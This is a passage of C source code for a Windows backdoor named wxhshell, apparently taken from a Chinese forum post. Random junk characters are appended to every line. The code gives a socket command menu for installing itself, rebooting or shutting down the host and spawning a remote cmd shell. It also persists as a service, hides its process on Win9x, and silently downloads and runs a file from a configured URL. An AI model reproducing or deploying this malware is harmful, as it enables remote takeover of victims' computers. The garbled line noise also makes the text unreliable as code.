  else { + t%[$"$  
@34Z/%A  
    switch(cmd[0]) { !+bLh W`  
  m .:2G  
  // 帮助 h\qQ%|X  
  case '?': { Cu2eMUGt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y9}5&#  
    break; ~vL7$-:  
  } ^wnlZ09J  
  // 安装 %w9/ gD  
  case 'i': { Z"ce1cB  
    if(Install()) }G{'Rb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `vbd7i  
    else MxXf.iX&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +V2\hq[{  
    break; %P3|#0yg0  
    } yT3q~#:  
  // 卸载 4?eO1=a  
  case 'r': { 0cGO*G2Xr  
    if(Uninstall()) `5SLo=~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fRcs@yZnS  
    else yM_ta '^$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F+!w[}0  
    break; U3UKu/Z  
    } |gV$ks\<  
  // 显示 wxhshell 所在路径 )># Y,/q  
  case 'p': { m=m T`EP  
    char svExeFile[MAX_PATH]; Pn?,56SD=  
    strcpy(svExeFile,"\n\r"); DHI%R<  
      strcat(svExeFile,ExeFile);  AqqD!  
        send(wsh,svExeFile,strlen(svExeFile),0); to2#PXf]y  
    break; K^z u{`S  
    } h4iz(*  
  // 重启 NA :_yA"  
  case 'b': { BB$(0mM^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S]"U(JmW\  
    if(Boot(REBOOT)) )2pOCAjL2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^i"~6QYE  
    else { xr*%:TwCta  
    closesocket(wsh); YK{E=<:  
    ExitThread(0); `] fud{  
    } _L^(CFE  
    break; x$SxGc~4gb  
    } D4G*Wz8  
  // 关机 NMy+=GZu^  
  case 'd': { xs}3=&c(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B=<Z@u  
    if(Boot(SHUTDOWN)) bb4 `s0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  %"jp':  
    else { :lfUVa{HN  
    closesocket(wsh); dSP~R  
    ExitThread(0); ~+)sL1lx  
    } *.,G;EC^  
    break; .7K<9K+P  
    } Ovhd%qV;Y  
  // 获取shell o0)k5P~<~  
  case 's': { $[6]Ly(F)  
    CmdShell(wsh); svWQk9d  
    closesocket(wsh); S|Yz5)*  
    ExitThread(0); /\wm/Yx?S  
    break; MXP3Z N'  
  } sy(8-zbI  
  // 退出 JFOXrRR=d  
  case 'x': { n# 4e1n+I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `Ei:Z%@7C  
    CloseIt(wsh); - %'ys  
    break; F8pP(Wl  
    } 45(n!"u65  
  // 离开 0Q{^BgW  
  case 'q': { V"u .u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "Nh}_jO  
    closesocket(wsh); l\DcXgD x  
    WSACleanup(); 6V&HlJH  
    exit(1); K9=f`JI9  
    break; #\T5r*W  
        } {x\lK;  
  } }{SpV  
  } iebnQf  
LSlYYyt  
  // 提示信息 7H$wpn Zln  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9k*1_  
} Mrly(*!U"@  
  } sIz*r Gz  
:YUQKy  
  return; GS qt:<Qs  
} @UwDsx&2(t  
++|vy~T  
// shell模块句柄 (> VD#n  
int CmdShell(SOCKET sock) 5tUN'KEbN  
{ ,xOOR   
STARTUPINFO si; u d$*/ )/  
ZeroMemory(&si,sizeof(si)); i7jI(VvB^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8h$f6JE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @A1Ohl  
PROCESS_INFORMATION ProcessInfo; %^LwLyoVM  
char cmdline[]="cmd"; ~fz9AhU8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =67tQx58  
  return 0; }pOJM &I  
} v[!ZRwk4w3  
|S.;']t+  
// 自身启动模式 +<$b6^>!$  
int StartFromService(void) Jj'dg6QY'  
{ vcz?;lg  
typedef struct %"=qdBuk  
{ T(q/$p&q  
  DWORD ExitStatus; Cp!Qd e  
  DWORD PebBaseAddress; 0`~#H1TK  
  DWORD AffinityMask; D&/~lhyNZ  
  DWORD BasePriority; MzpDvnI9  
  ULONG UniqueProcessId; *<#$B}!{  
  ULONG InheritedFromUniqueProcessId; 2E_d$nsJ  
}   PROCESS_BASIC_INFORMATION; ~`!{5:v  
}:xj%?ki  
PROCNTQSIP NtQueryInformationProcess; x2$Y"b?vz  
MgrJ ;?L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B nu5\P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )^[PW&=W|x  
=q"o%dc`R  
  HANDLE             hProcess; _d*QA{  
  PROCESS_BASIC_INFORMATION pbi; CMviR<.  
K<~J*k<v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2/f!{lz](  
  if(NULL == hInst ) return 0; R|JBzdK+P  
nv}z%.rRUj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D\ kd6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $G D@e0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rw%1>]os  
]h 4r@L3  
  if (!NtQueryInformationProcess) return 0; Q'R*a(pm  
wpV)y Q^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U#' WP  
  if(!hProcess) return 0; "S^ ""5  
[;,Xp/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |N%#;7  
/A"UV\H`f  
  CloseHandle(hProcess); |>!tqgq  
atYe$Db  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \ ix& U  
if(hProcess==NULL) return 0; M) Z3q  
jQ&82X%m  
HMODULE hMod; U^ Ulj/%6  
char procName[255]; 0o_wy1O1,  
unsigned long cbNeeded; T.GB *  
Jt|W%`X>D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g#s hd~e  
D'Y=}I)8Dn  
  CloseHandle(hProcess); 2YhtD A  
Kp?j\67S  
if(strstr(procName,"services")) return 1; // 以服务启动 m$WN"kV`,9  
vD3j(d  
  return 0; // 注册表启动 (hn;C>B  
} PCZ%<>v  
i[ 40p!~  
// 主模块 *G(ZRj@ 33  
int StartWxhshell(LPSTR lpCmdLine) ~%d*#Yxq  
{ EB2 5N~7  
  SOCKET wsl; v/z~ j  
BOOL val=TRUE; CA5q(ID_  
  int port=0; %h "%G=:  
  struct sockaddr_in door; {1m.d;(1  
WR5W0!'Tf  
  if(wscfg.ws_autoins) Install(); HsRQiai*  
B~7]x;8h  
port=atoi(lpCmdLine); 7 ?a!x$-U(  
k\A[p\  
if(port<=0) port=wscfg.ws_port; = @n`5g  
3U&r K)F  
  WSADATA data; Bl*.N9*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZP;WXB`  
^;mnP=`l[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mt*/%>@7R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G[ gfD\  
  door.sin_family = AF_INET; w .+B h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |jJ9dTD8/  
  door.sin_port = htons(port); r"W,G /;h  
aa,^+^J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dO|n[/qL0  
closesocket(wsl); Q/^a(   
return 1; NK$BF(HBi  
} tq&CJvJ4  
K} TSwY  
  if(listen(wsl,2) == INVALID_SOCKET) { xay~fD  
closesocket(wsl); x}X hL  
return 1; b2G1@f.U  
} Zil<*(kv{  
  Wxhshell(wsl); ],xvhfZ"dn  
  WSACleanup(); $.T\dm-  
}CB9H$FkCY  
return 0; [s&0O<Wv  
k btQ  
} )F65sV{  
EJaGz\\  
// 以NT服务方式启动 gib'f@i;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S/)yi  
{ = sh3&8  
DWORD   status = 0; akV-|v_  
  DWORD   specificError = 0xfffffff; [[' (,,r  
;$/]6@bqB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;Wedj\Kkp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h}yfL@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hd~0qK  
  serviceStatus.dwWin32ExitCode     = 0; W'L  
  serviceStatus.dwServiceSpecificExitCode = 0; QM4O|x[   
  serviceStatus.dwCheckPoint       = 0; -mqL[ h,  
  serviceStatus.dwWaitHint       = 0; &"mWi-Mpl  
 re@;6o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `*w!S8}m;  
  if (hServiceStatusHandle==0) return; 7p[NuU*Gg  
(%SKTM  
status = GetLastError(); )2: ,E  
  if (status!=NO_ERROR) 4v;KtD;M  
{ ]Pf!wv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ` 3h,Cy^  
    serviceStatus.dwCheckPoint       = 0; Zx U?d   
    serviceStatus.dwWaitHint       = 0; jWcfQ  
    serviceStatus.dwWin32ExitCode     = status; zr^"zcfz&  
    serviceStatus.dwServiceSpecificExitCode = specificError; (65|QA   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gaU1A"S}  
    return; Q 1[E iM3  
  } Ob@HzXH  
^17i98w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]oizBa@?G  
  serviceStatus.dwCheckPoint       = 0; yyc4'j+  
  serviceStatus.dwWaitHint       = 0; <Xb$YB-c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `[F[0fY-  
} UaXWHCm`  
L-VisZ-FK  
// 处理NT服务事件,比如:启动、停止 V*H7m'za  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UYvdzCUh  
{ O1Nya\^g<I  
switch(fdwControl) 6@-O#,]J  
{ LZ z]4Mf  
case SERVICE_CONTROL_STOP: ?v}S9z  
  serviceStatus.dwWin32ExitCode = 0; w<Ot0&&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KZ$^Q<d^  
  serviceStatus.dwCheckPoint   = 0; Hk@LHC  
  serviceStatus.dwWaitHint     = 0; !]l;n Fd  
  { g4}K6)@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u$ff %`E  
  } ,Y`TP4Ip  
  return; w 3$9  
case SERVICE_CONTROL_PAUSE: > 8%O;3-m#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U~O*9  
  break; *nlDN4Y[  
case SERVICE_CONTROL_CONTINUE: {)PgN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bj7r"_  
  break; =PYS5\k  
case SERVICE_CONTROL_INTERROGATE: M+-1/vR *@  
  break; x bD]EC  
}; z, c=."<z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y} crE/  
} "GB493=v  
'4,>#D8@O  
// 标准应用程序主函数 |6 E !wW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hFMT@Gy  
{ J Mm'JK?  
Ah_0o_Di  
// 获取操作系统版本 C~R,,  
OsIsNt=GetOsVer(); cHX~-:KOr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0`Y"xN`'i  
@o>3 Bv.  
  // 从命令行安装 #PQhgli  
  if(strpbrk(lpCmdLine,"iI")) Install(); ky I~  
>Do P2]  
  // 下载执行文件 yeIc Q%  
if(wscfg.ws_downexe) { li9>zjz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }xpo@(e  
  WinExec(wscfg.ws_filenam,SW_HIDE); d'[]  
} iyP0;$  
kerBy\^  
if(!OsIsNt) { b}J,&eYD  
// 如果时win9x,隐藏进程并且设置为注册表启动 #]z_pp:  
HideProc(); \CrWKBL  
StartWxhshell(lpCmdLine); =`.OKUAn  
} wW|[Im&  
else ZiC~8p_f  
  if(StartFromService()) 2<tU  
  // 以服务方式启动 0X4I-xx#  
  StartServiceCtrlDispatcher(DispatchTable); w3jcit|  
else XPT@ LM  
  // 普通方式启动 m.ejGm?  
  StartWxhshell(lpCmdLine); =DwY-Ex  
}Apn.DYbbf  
return 0; F.-:4m(Z  
}
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只看该作者 1 发表于: 2006-10-10
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